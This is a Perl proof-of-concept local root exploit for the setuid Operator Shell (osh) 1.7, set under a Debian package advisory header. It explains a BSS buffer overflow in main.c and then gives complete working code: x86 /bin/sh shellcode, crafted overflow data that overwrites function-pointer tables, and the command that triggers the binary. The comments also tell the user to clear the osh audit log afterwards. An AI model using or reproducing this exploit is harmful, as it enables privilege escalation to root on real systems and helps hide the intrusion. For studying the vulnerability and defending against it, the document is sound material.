Package: osh
Version: 1.7-11woody1
Tags: security, woody
(For the unstable distribution this problem has been fixed in version 1.7-13.)
#!/usr/bin/perl
#######################################################################
#
# OSH 1.7 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <[EMAIL PROTECTED]>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem:
# The patch for the overflows published by Steve Kemp seems lacking. If the
# following requirements are met we can overflow within the iopen() function:
# osh must be invoked in non-interactive mode, argv[1] must be a valid command
# according to /etc/osh.conf (e.g. osh help $(perl -e 'print "A"x8192')). The
# offending code can be found at main.c:305
#
# if (found) { /* It's a command, input is a string */
# inputfp=(FILE *)1;
# strcpy(inputstring, argv[1]); //XXX: command is copied into inputstring
# for (i=3;i<=argc;i++) {
# strcat(inputstring, " "); //XXX: it adds a space
# strcat(inputstring, argv[i-1]); //XXX: and now overflow is possible
# }
# strcat(inputstring, "\n"); /* So it's a command */
#
# So far so good. Looking at the declaration `static char inputstring[1024];'
# we can see that overflow is indeed possible. Here's the layout of memory:
#
#+------------------------------+
#| Memory Layout |
#+------------------------------+
#|0x804e340 <inputfp> |
#|0x804e344 <prompt> |
#|0x804e348 <pgetcptr> |
#|0x804e34c <column.0> |
#+-(can munge everything below)-+
#|0x804e360 <inputstring> |
#|0x804e760 <NUMENTRY> |
#|0x804e764 <host> |
#|0x804e778 <AliasCounter> |
#|0x804e780 <Table> |
#|0x804f380 <pwh> |
#|0x804f3a0 <FileList> |
#|0x804f540 <AliasList> |
#|0x804f860 <lg> |
#|0x804f864 <pw> |
#+------------------------------+
#
# Table stores a bunch of function pointers to all the routines whether
# internally implemented or called via execv. So I decided to try and
# overwrite the first entry with the address of my shellcode. There were
# several obstacles in between me and my rootshell though. First was a
# loop that performed strcmp's on AliasList items. Rather than fill that
# out I found that I could conveniently set AliasCounter to -1 and skip
# the loop entirely. Next I found that if argv[1] was a builtin command
# and NUMENTRY was a positive integer I could set Table[0].prog_name to match
# argv[1] and it'd call Table[0].handler (So I found "exit" in the executable
# itself thanks to `static struct hand Internal[]'). From main.c:1032
#
# while (i<NUMENTRY)
# if (strcmp(Table[++i].prog_name,argv[0])==0)
# { found=1; break; }
# ...
# if (strcmp(Table[i].prog_name, "exit")==0) {
# (*(Table[i].handler))(argc, argv);
# return(-2);
# }
#
# I also point Table[0].path to the NULL at the end of "exit" to prevent a
# crash. Finally there is a check @ line 256 in main.c which attempts to
# prevent overflow that can be circumvented, my choice was the ampersand due
# to the way select statement works:
#
# while ((c != EOF) && (c != ';') && (c != '&') && (c != '|')
# && (c != '<') && (c != '>') && (c != '\n') && (c != ' ')
# && (c != '\t'))
# c = pgetc();
# if (c != EOF)
# pungetc(c,inputfp);
# return TTOOLONG;
#
# Risk: Medium since user would have to be in the operator group which
# the admin would have to grant explicitly and I assume would be
# a trustworthy individual ;-)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to nemo, andrewg, arcanum, mercy, amnesia, banned-it, charbuff,
# sloth, ktha, KF, akt0r, MRX, salvia, truthix
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
#
# Coming out of retirement slowly but surely... damn I'm rusty...
# who's got some WD40? BSS overflow... mmmhmmm...
#
# ??/??/02 - First exploited OSH but though no one used it
# and just recently realised it was in Debian
# except they had patched the environment holes.
# References: CAN-2003-0452, BugTraq IDs: 7992, 7993
# 02/03/05 - PoC causes logout() to record bogus username
# 02/05/05 - FF rootshell!! h0h0h0!
#
# I still find it hard to imagine that anyone would use osh
# The code is basically beyond repair. Sudo is better.... :-)
#
# Don't forget to clean /var/log/osh.log
#
#######################################################################
# PRIVATE - DO NOT DISTRIBUTE - PRIVATE #
#######################################################################
#######################################################################
# NOTES:
#######################################################################
# Here's how to get the addresses in case it doesn't work on your box:
# sh-3.00$ xxd /usr/sbin/osh | grep exit | grep -v _exit
# 0005080: 6578 6974 006c 6f67 6f75 7400 7465 7374 exit.logout.test
#
# sh-3.00$ osh more /proc/self/maps | grep osh
# 08048000-0804e000 r-xp 00000000 03:01 176445 /usr/sbin/osh
# ^--- add this together with 0x5080 to get the address of "exit"
#
# sh-3.00$ python -c "print hex(0x08048000 + 0x5080)"
# 0x804d080
#######################################################################
# "Osh is known to compile on: SunOS 4.1.3, Solaris 2.x, Unicos 6.x & 7.x
# (XMP and YMP), and VAX Ultrix 4.2, SGI IRIX, HP/UX, and AIX 3.2.5."
#
# So send me patches and rets if you have these systems ;-)
$exit_addy = pack("l",
#0x0804d39c # Ubuntu Linux
# - osh_1.7-12_i386.deb
0x0804d080 # Debian Linux stable/testing/unstable
# - osh_1.7-11woody1_i386.deb
# - osh_1.7-12_i386.deb
);
# Yanked from one of KF's exploits.. werd brotha ;-) I'm lazy..
$sc = "\x90" x (511-45) .
# 45 bytes by anthema. 0xff less
"\x89\xe6" . # /* movl %esp, %esi */
"\x83\xc6\x30" . # /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" . # /bin /* movl $0x6e69622e, %eax */
"\x40" . # /* incl %eax */
"\x89\x06" . # /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" . # /sh /* movl $0x2168732e, %eax */
"\x40" . # /* incl %eax */
"\x89\x46\x04" . # /* movl %eax, 0x04(%esi) */
"\x29\xc0" . # /* subl %eax, %eax */
"\x88\x46\x07" . # /* movb %al, 0x07(%esi) */
"\x89\x76\x08" . # /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" . # /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" . # /* movb $0x0b, %al */
"\x87\xf3" . # /* xchgl %esi, %ebx */
"\x8d\x4b\x08" . # /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" . # /* leal 0x0c(%ebx), %edx */
"\xcd\x80"; # /* int $0x80 */
print "\n\nOperator Shell (osh) 1.7-12 root exploit\n";
print "----------------------------------------------\n";
print "Written by Charles Stevenson <[EMAIL PROTECTED]>\n\n";
# Clear out the environment.
foreach $key (keys %ENV) { delete $ENV{$key}; }
# Setup simple env so ret is easier to guess
$ENV{"HELLCODE"} = "$sc";
$ENV{"TERM"} = "linux";
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin";
# Create the payload...
$egg = "&"x1019 . # pad up to NUMENTRY
pack("l",0x01d5c001) . # overwrite with a positive int
"&"x20 . # ampersand gets pas TTOOLONG
pack("l",0xffffffff) . # AliasCounter = -1 skips for loop
"core" . # shameless self-promotion
$exit_addy . # address of "exit"
pack("l",0xbffffe30) . # address of shellcode in ENV
$exit_addy; # address of a NULL terminated string
system("/usr/sbin/osh exit '$egg'");
# EOF
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